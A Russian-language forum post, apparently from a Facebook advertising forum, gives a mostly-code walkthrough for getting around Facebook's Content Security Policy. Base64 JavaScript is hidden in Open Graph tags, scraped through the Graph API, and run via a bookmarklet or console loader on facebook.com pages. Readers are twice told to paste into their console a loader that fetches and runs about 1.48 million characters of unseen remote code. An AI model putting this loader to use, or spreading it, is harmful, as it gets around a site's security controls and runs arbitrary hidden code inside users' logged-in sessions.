FB-killa team
brrr
Chief Editor
- Регистрация
- 9 Окт 2023
- Сообщения
- 274
- Ответов на вопросы
- 1
- Реакции
- 44
- Включить нумерованное содержание?
- Да
Содержание
Если вы не являетесь техническим специалистом или хотите быстро ознакомиться с демонстрацией результата, а затем прочитать статью, то:
Перейдите на www.facebook.com (необязательно быть авторизованным), откройте консоль браузера, вставьте туда код ниже и нажмите Enter:
FB, как и любой подобный сайт, использует CSP (Content Security Policy), который запрещает совершать запросы на посторонние домены.
Материал с канала: doroved.stories
Вот как выглядит защита, если мы отправим запрос на домен вне белого списка FB.
Например, эту возможность могут использовать владельцы JS-закладок для создания авто-обновляемых приложений с неограниченной в размере кодовой базой.
URL - Graph API - Documentation - Meta for Developers
Например, по ссылке ниже можно увидеть, какие свойства Open Graph обнаруживает FB для рандомной статьи с хабра:
Sharing Debugger - Meta for Developers
Шаблон страницы для хранения версии/кода нашего приложения - index.html
og:title - используем это свойство для указания текущей версии приложения
og:description - сюда складываем JS код в base64. Опытным путем выявлена рекомендуемая максимальная длина строки = 350к символов.
Для удобства будем использовать Cloudflare Pages, чтобы бесплатно разместить там нашу html страницу.
1. Создаем поддомен
2. Переходим в настройки (клик на fbcode в данном случае) и нажимаем Create new deployment
3. Загружаем ранее созданную HTML страницу (я загружаю папку в которой лежит страница)
4. После загрузки, нажимаем Save and deploy
Готово, мы добавили/обновили код нашего приложения и теперь можем просканировать наш домен в FB, что бы он обновил данные сайта на своей стороне.
1. Сканируем URL, что бы FB узнал про наши Open Graph теги. Эту команду нужно запускать каждый раз, когда мы обновляем код и выпускаем новую версию приложения.
Можно сканировать URL под токеном/куками любого аккаунта. Это ни на что не влияет, так как доступ к сайту с кодом приложения только у вас.
Ответ
2. Получаем og_object.id, он потребуется для следующего запроса, чтобы мы могли получать содержимое Open Graph тегов нашего сайта не раскрывая его URL.
Ответ
3. Это конечный URL который будет использоваться в нашей закладке-загрузчике для получения текущей версии и кода нашего приложения.
Ответ
Если вдруг Open Graph теги не обновляются, можно проверить, сталкивается ли бот FB с какой-нибудь ошибкой при заходе на ваш URL.
<Sharing Debugger - Meta for Developers>
Вот пример, где бот FB получает 403 ошибку (Доступ запрещен), поэтому не обновляет данные.
Минифицируем его и добавляем javascript: для того, чтобы этот код запускался из закладки браузера.
Обратите внимание, что код закладки не кодируется в base64, поскольку это потребовало бы использования eval(), который больше не работает на www.facebook.com.
Также избегайте использования eval() в коде вашего приложения — оно успешно запустится через Blob ссылку.
Это приложение состоит из 1_485_088 символов в base64, поэтому пришлось разбить код на части (по 350к символов) и адаптировать код загрузчика для загрузки этих частей.
В минифицированном виде:
Функция для разбивки base64 строки кода приложения на части по 350к символов
Может кто-нибудь сможет придумать иное применение для этой возможности хранить/передавать данные через Open Graph теги, тестируйте
На этом все! Спасибо за прочтение статьи!
Перейдите на www.facebook.com (необязательно быть авторизованным), откройте консоль браузера, вставьте туда код ниже и нажмите Enter:
Код:
if(location.host.includes("facebook.com")){if(!window.loaderFB){window.loaderFB=!0;let e=["8536517059785353","9346178902100607","9471481252902726","9474623735881133","9152047901528126"],t=async e=>{try{let t=e.map(e=>fetch(`https://graph.facebook.com/${e}?fields=title,description,created_time,updated_time`).then(t=>{if(!t.ok)throw Error(`Network response was not ok for ID ${e}: ${t.statusText}`);return t.json()}).catch(t=>(console.error(`Fetch problem for ID ${e}:`,t),null))),o=await Promise.all(t),r=o.filter(e=>e?.description).map(e=>e.description).join(""),a=URL.createObjectURL(new Blob([atob(r)],{type:"application/javascript"})),c=document.createElement("script");c.src=a,document.body.appendChild(c),c.remove(),delete window.loaderFB}catch(i){console.error("Fetch operation problem:",i)}};t(e)}}else location.href="https://www.facebook.com";
FB, как и любой подобный сайт, использует CSP (Content Security Policy), который запрещает совершать запросы на посторонние домены.
Материал с канала: doroved.stories
Вот как выглядит защита, если мы отправим запрос на домен вне белого списка FB.
Зачем вообще что-то загружать в FB с нашего домена?
Например, эту возможность могут использовать владельцы JS-закладок для создания авто-обновляемых приложений с неограниченной в размере кодовой базой.
Создание HTML страницы для хранения версии и кода приложения
В FB есть API для получение информации о URL, опубликованном в посте или комментарии на Facebook:URL - Graph API - Documentation - Meta for Developers
Например, по ссылке ниже можно увидеть, какие свойства Open Graph обнаруживает FB для рандомной статьи с хабра:
Sharing Debugger - Meta for Developers
Почему бы нам не использовать og:* теги для хранения в них версии и JS кода нашего приложения?
Шаблон страницы для хранения версии/кода нашего приложения - index.html
Код:
<!DOCTYPE html>
<html>
<head>
<meta property="og:type" content="website" />
<meta property="og:title" content="0.1.0" />
<meta property="og:description" content="YWxlcnQoJ0hlbGxvIFdvcmxkIScp" />
</head>
</html>
og:title - используем это свойство для указания текущей версии приложения
og:description - сюда складываем JS код в base64. Опытным путем выявлена рекомендуемая максимальная длина строки = 350к символов.
Для удобства будем использовать Cloudflare Pages, чтобы бесплатно разместить там нашу html страницу.
1. Создаем поддомен
2. Переходим в настройки (клик на fbcode в данном случае) и нажимаем Create new deployment
3. Загружаем ранее созданную HTML страницу (я загружаю папку в которой лежит страница)
4. После загрузки, нажимаем Save and deploy
Готово, мы добавили/обновили код нашего приложения и теперь можем просканировать наш домен в FB, что бы он обновил данные сайта на своей стороне.
Сканирование нашей страницы FB ботом
Все команды ниже нужно запускать в консоли браузера на Meta for Business (ранее — Facebook for Business) в авторизованном аккаунте.1. Сканируем URL, что бы FB узнал про наши Open Graph теги. Эту команду нужно запускать каждый раз, когда мы обновляем код и выпускаем новую версию приложения.
Можно сканировать URL под токеном/куками любого аккаунта. Это ни на что не влияет, так как доступ к сайту с кодом приложения только у вас.
Код:
fetch(`https://graph.facebook.com/?id=https://fbcode.pages.dev&scrape=true&access_token=${window.__accessToken}`, {
method: 'POST',
credentials: 'include'
})
.then(response => {
if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));
Ответ
Код:
{
"url": "https://fbcode.pages.dev",
"type": "website",
"title": "0.1.0",
"description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
"updated_time": "2025-01-05T00:44:31+0000",
"__fb_trace_id__": "G8Q/5bYIhVS",
"__www_request_id__": "AoVDUER_kddtOS69m1qG5_e"
}
2. Получаем og_object.id, он потребуется для следующего запроса, чтобы мы могли получать содержимое Open Graph тегов нашего сайта не раскрывая его URL.
Код:
fetch(`https://graph.facebook.com/?id=https://fbcode.pages.dev&fields=og_object&access_token=${window.__accessToken}`, {
credentials: 'include'
})
.then(response => {
if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));
Ответ
Код:
{
"og_object": {
"id": "24345208028461213",
"description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
"title": "0.1.0",
"type": "website",
"updated_time": "2023-12-24T14:58:35+0000"
},
"id": "https://fbcode.pages.dev",
"__fb_trace_id__": "FTNDE2mr1vS",
"__www_request_id__": "ANxgW9TH8fvyWP8LFfVRSZ1"
}
3. Это конечный URL который будет использоваться в нашей закладке-загрузчике для получения текущей версии и кода нашего приложения.
Код:
fetch('https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time')
.then(response => {
if (!response.ok) throw new Error('Network response was not ok ' + response.statusText);
return response.json();
})
.then(console.log)
.catch(error => console.error('There was a problem with the fetch operation:', error));
Ответ
Код:
{
"title": "0.1.0",
"description": "YWxlcnQoJ0hlbGxvIFdvcmxkIScp",
"created_time": "2023-12-24T14:57:04+0000",
"updated_time": "2023-12-24T14:58:35+0000",
"id": "24345208028461213"
}
Если вдруг Open Graph теги не обновляются, можно проверить, сталкивается ли бот FB с какой-нибудь ошибкой при заходе на ваш URL.
<Sharing Debugger - Meta for Developers>
Вот пример, где бот FB получает 403 ошибку (Доступ запрещен), поэтому не обновляет данные.
Загрузчик приложения в FB
Теперь напишем небольшой загрузчик, который будет скачивать код и запускать его после нажатия на JS-закладку.
Код:
if (location.host.includes("facebook.com")) {
// Проверка существования метки, чтобы определить запущен ли загрузчик. Это защита от двойного вызова загрузчика
if (!window.loaderFB) {
window.loaderFB = true;
fetch(
"https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time"
)
.then((request) => request.json())
.then((response) => {
// Если ошибка от FB, выводим ее текст в alert
if (response.error) {
alert(response.error.message);
} else {
// Вытаскиваем версию и код приложения из ответа
const { title: version, description: code } = response;
// Текущая версия приложения
console.log(version);
// Создаем URL для Blob из декодированного JS кода
const blobURL = URL.createObjectURL(
new Blob([atob(code)], { type: "application/javascript" })
);
// Создаем новый script элемент и устанавливаем его src в ссылку на Blob
const appJs = document.createElement("script");
appJs.src = blobURL;
// Добавляем элемент script в тело документа
document.body.appendChild(appJs);
// Удаляем скрипт
appJs.remove();
}
// Удаляем метку после выполнения кода загрузчика
delete window.loaderFB;
});
}
} else {
location.href = "https://www.facebook.com";
}
Минифицируем его и добавляем javascript: для того, чтобы этот код запускался из закладки браузера.
Обратите внимание, что код закладки не кодируется в base64, поскольку это потребовало бы использования eval(), который больше не работает на www.facebook.com.
Также избегайте использования eval() в коде вашего приложения — оно успешно запустится через Blob ссылку.
Код:
javascript:location.host.includes("facebook.com")?window.loaderFB||(window.loaderFB=!0,fetch("https://graph.facebook.com/24345208028461213?fields=title,description,created_time,updated_time").then(e=>e.json()).then(e=>{if(e.error)alert(e.error.message);else{let{title:t,description:o}=e;console.log(t);let r=URL.createObjectURL(new Blob([atob(o)],{type:"application/javascript"})),a=document.createElement("script");a.src=r,document.body.appendChild(a),a.remove()}delete window.loaderFB})):location.href="https://www.facebook.com";
Демонстрация работы загрузчика
В качестве примера я создал забавное приложение в виде новогоднего скринсейвера с Марком Цукербергом, которое будет загружаться и запускаться на любой странице *.facebook.com- Перейдите по ссылке (в РФ требуется VPN, т.к. pages.dev был забанен после написания этой статьи) и перетяните кнопку на панель закладок, после чего нажмите на закладку.
- Если не хотите заморачиваться с закладкой, используйте этот вариант.
Скрины специально не показываю, чтобы было сюрпризом
Это приложение состоит из 1_485_088 символов в base64, поэтому пришлось разбить код на части (по 350к символов) и адаптировать код загрузчика для загрузки этих частей.
Код:
if (location.host.includes("facebook.com")) {
if (!window.loaderFB) {
window.loaderFB = true;
const ids = [
"8536517059785353", // https://fbcode.pages.dev/chunk1
"9346178902100607", // https://fbcode.pages.dev/chunk2
"9471481252902726", // https://fbcode.pages.dev/chunk3
"9474623735881133", // https://fbcode.pages.dev/chunk4
"9152047901528126" // https://fbcode.pages.dev/chunk5
];
const fetchFacebookData = async (ids) => {
try {
const requests = ids.map(id =>
fetch(`https://graph.facebook.com/${id}?fields=title,description,created_time,updated_time`)
.then(response => {
if (!response.ok) {
throw new Error(`Network response was not ok for ID ${id}: ${response.statusText}`);
}
return response.json();
})
.catch(error => {
console.error(`Fetch problem for ID ${id}:`, error);
return null;
})
);
const results = await Promise.all(requests);
const combinedDescriptions = results
.filter(result => result?.description)
.map(result => result.description)
.join("");
const blobURL = URL.createObjectURL(new Blob([atob(combinedDescriptions)], { type: "application/javascript" }));
const appJs = document.createElement("script");
appJs.src = blobURL;
document.body.appendChild(appJs);
appJs.remove();
delete window.loaderFB;
} catch (error) {
console.error("Fetch operation problem:", error);
}
};
fetchFacebookData(ids);
}
} else {
location.href = "https://www.facebook.com";
}
В минифицированном виде:
Код:
javascript:if(location.host.includes("facebook.com")){if(!window.loaderFB){window.loaderFB=!0;let e=["8536517059785353","9346178902100607","9471481252902726","9474623735881133","9152047901528126"],t=async e=>{try{let t=e.map(e=>fetch(`https://graph.facebook.com/${e}?fields=title,description,created_time,updated_time`).then(t=>{if(!t.ok)throw Error(`Network response was not ok for ID ${e}: ${t.statusText}`);return t.json()}).catch(t=>(console.error(`Fetch problem for ID ${e}:`,t),null))),o=await Promise.all(t),r=o.filter(e=>e?.description).map(e=>e.description).join(""),a=URL.createObjectURL(new Blob([atob(r)],{type:"application/javascript"})),c=document.createElement("script");c.src=a,document.body.appendChild(c),c.remove(),delete window.loaderFB}catch(i){console.error("Fetch operation problem:",i)}};t(e)}}else location.href="https://www.facebook.com";
Функция для разбивки base64 строки кода приложения на части по 350к символов
Код:
function splitString(inputString, chunkSize) {
// Проверяем, что размер чанка больше нуля
if (chunkSize <= 0) {
throw new Error("Размер чанка должен быть больше нуля.");
}
// Инициализируем пустой массив для хранения чанков
const result = {};
// Перебираем строку и создаем чанки
for (let i = 0; i < inputString.length; i += chunkSize) {
const chunk = inputString.slice(i, i + chunkSize);
result[`chunk${Math.floor(i / chunkSize) + 1}`] = chunk;
}
return result;
}
// Пример использования
const result = splitString("YWxlcnQoJ0hlbGxvIFdvcmxkIScp...", 350000);
console.log(result);
Заключение
На самом деле можно по разному настраивать работу загрузчика, например в og:description хранить объект с разными приложениями и запускать их через UI.Может кто-нибудь сможет придумать иное применение для этой возможности хранить/передавать данные через Open Graph теги, тестируйте
На этом все! Спасибо за прочтение статьи!
Последнее редактирование: